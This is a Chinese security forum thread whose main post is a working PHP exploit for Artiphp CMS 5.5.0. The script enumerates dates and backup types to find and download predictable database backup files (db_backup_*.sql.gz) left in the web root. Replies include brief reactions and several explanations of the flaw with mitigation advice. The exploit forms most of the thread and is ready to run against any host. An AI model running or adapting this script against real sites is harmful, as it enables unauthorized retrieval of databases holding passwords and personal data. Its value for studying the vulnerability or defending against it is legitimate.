查看: 22739|回复: 5

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

[复制链接]
发表于 2012-5-18 23:06:26 | 显示全部楼层 |阅读模式
  1. <?php  

  2.    

  3. /*  

  4.    

  5. Artiphp CMS 5.5.0 Database Backup Disclosure Exploit  

  6.    

  7.    

  8. Vendor: Artiphp  

  9. Product web page: http://www.ihonker.org
  10. Affected version: 5.5.0 Neo (r422)  

  11.    

  12. Summary: Artiphp is a content management system (CMS) open  

  13. and free to create and manage your website.  

  14.    

  15. Desc: Artiphp stores database backups using backupDB() utility  

  16. with a predictable file name inside the web root, which can be  

  17. exploited to disclose sensitive information by downloading the  

  18. file. The backup is located in '/artzone/artpublic/database/'  

  19. directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename.  

  20.    

  21. Tested on: Microsoft Windows XP Professional SP3 (EN)  

  22.            Apache 2.2.21  

  23.            PHP 5.3.8 / 5.3.9  

  24.            MySQL 5.5.20  

  25.    

  26.    

  27. Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  

  28.                             @zeroscience  

  29.    

  30.    

  31. Advisory ID: ZSL-2012-5091  

  32. Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5091.php  

  33.    

  34.    

  35. 15.05.2012  

  36.    

  37. */  

  38.    

  39. error_reporting(0);  

  40.    

  41. print "\no==========================================================o\n";  

  42. print "|                                                          |";  

  43. print "\n|\tArtiphp CMS 5.5.0 DB Backup Disclosure Exploit     |\n";  

  44. print "|                                                          |\n";  

  45. print "|\t\t\tby LiquidWorm                      |\n";  

  46. print "|                                                          |";  

  47. print "\no==========================================================o\n";  

  48.    

  49. if ($argc < 3)  

  50. {  

  51.     print "\n\n\x20[*] Usage: php $argv[0] <host> <port>\n\n\n";  

  52.     die();  

  53. }  

  54.    

  55. $godina_array = array('2012','2011','2010');  

  56.    

  57. $mesec_array = array('12','11','10','09',  

  58.              '08','07','06','05',  

  59.              '04','03','02','01');  

  60.    

  61. $dn_array = array('31','30','29','28','27','26',  

  62.           '25','24','23','22','21','20',  

  63.           '19','18','17','16','15','14',  

  64.           '13','12','11','10','09','08',  

  65.           '07','06','05','04','03','02',  

  66.           '01');  

  67.    

  68. $backup_array = array('full','structure','partial');  

  69.    

  70. $host = $argv[1];  

  71. $port = intval($argv[2]);  

  72. $path = "/artiphp/artzone/artpublic/database/"; // change per need.  

  73.    

  74. $alert1 = "\033[0;31m";  

  75. $alert2 = "\033[0;37m";  

  76.    

  77. foreach($godina_array as $godina)  

  78. {  

  79.     print "\n\n\x20[*] Checking year: ".$godina."\n\n Scanning: ";  

  80.     sleep(2);  

  81.     foreach($mesec_array as $mesec)  

  82.     {  

  83.         foreach($dn_array as $dn)  

  84.         {  

  85.             print "~";  

  86.             foreach($backup_array as $backup)  

  87.             {  

  88.                 if(file_get_contents("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz"))  

  89.                 {  

  90.                     print "\n\n\x20[!] DB backup file discovered!\n\n";  

  91.                     echo $alert1;  

  92.                     print "\x20==>\x20";  

  93.                     echo $alert2;  

  94.                     die("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz\n");  

  95.                 }  

  96.             }  

  97.         }  

  98.     }  

  99. }  

  100.    

  101. print "\n\n\x20[*] Zero findings.\n\n\n"  

  102.    

  103. ?>
复制代码
回复

使用道具 举报

发表于 2012-5-22 22:52:39 | 显示全部楼层
看不懂的路过
回复 支持 反对

使用道具 举报

发表于 2012-5-23 23:48:47 | 显示全部楼层
看不懂
回复 支持 反对

使用道具 举报

发表于 2026-5-22 00:00:01 | 显示全部楼层

Re: Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

这个漏洞挺典型的,Artiphp CMS 5.5.0 把数据库备份文件放在了 web 根目录下,而且文件名只按日期变化,攻击者靠遍历日期就能直接下载备份。备份里肯定包含管理员账号密码、用户数据等敏感信息,风险很高。 如果有人在用这个版本,建议尽快升级到不受影响的新版,或者修改 backupDB() 函数的备份路径和文件名规则,不要把备份放到可公开访问的目录里,最好再加上随机字符串或者访问权限验证。另外也可以考虑在服务器层面禁止直接访问 /artzone/artpublic/database/ 路径下的 .sql.gz 文件。
回复 支持 反对

使用道具 举报

发表于 2026-6-17 21:10:01 | 显示全部楼层

Re: Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

谢谢分享,这个漏洞确实挺危险的。备份文件放在 web 根目录下,文件名还按日期规律生成,攻击者直接遍历就能下载数据库,等于把整个站点的数据拱手让人。建议使用这个 CMS 的用户尽快检查一下 `/artzone/artpublic/database/` 目录下是否有历史备份,同时升级到最新版本或者把备份目录移到 web 访问不到的路径下,并配合 `.htaccess` 限制访问。楼主有尝试复现成功吗?
回复 支持 反对

使用道具 举报

发表于 2026-6-17 23:20:00 | 显示全部楼层

Re: Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

这是一个比较经典的CMS数据库备份泄露漏洞。Artiphp CMS 5.5.0版本在使用`backupDB()`备份数据库时,将备份文件直接存放在web根目录下,且文件名遵循固定的日期格式`db_backup_.[yyyy-mm-dd].sql.gz`,攻击者可以通过遍历日期组合轻易下载到数据库文件,导致敏感信息泄露。 这个漏洞的危害性在于不需要认证即可下载完整数据库,包括用户密码、配置信息等敏感数据。建议使用该CMS的站长尽快检查`/artzone/artpublic/database/`目录下是否存在此类备份文件,并考虑删除或将其移至web访问目录之外。同时也可以关注官方是否有新版本修复该问题。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 14:11 , Processed in 0.035374 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部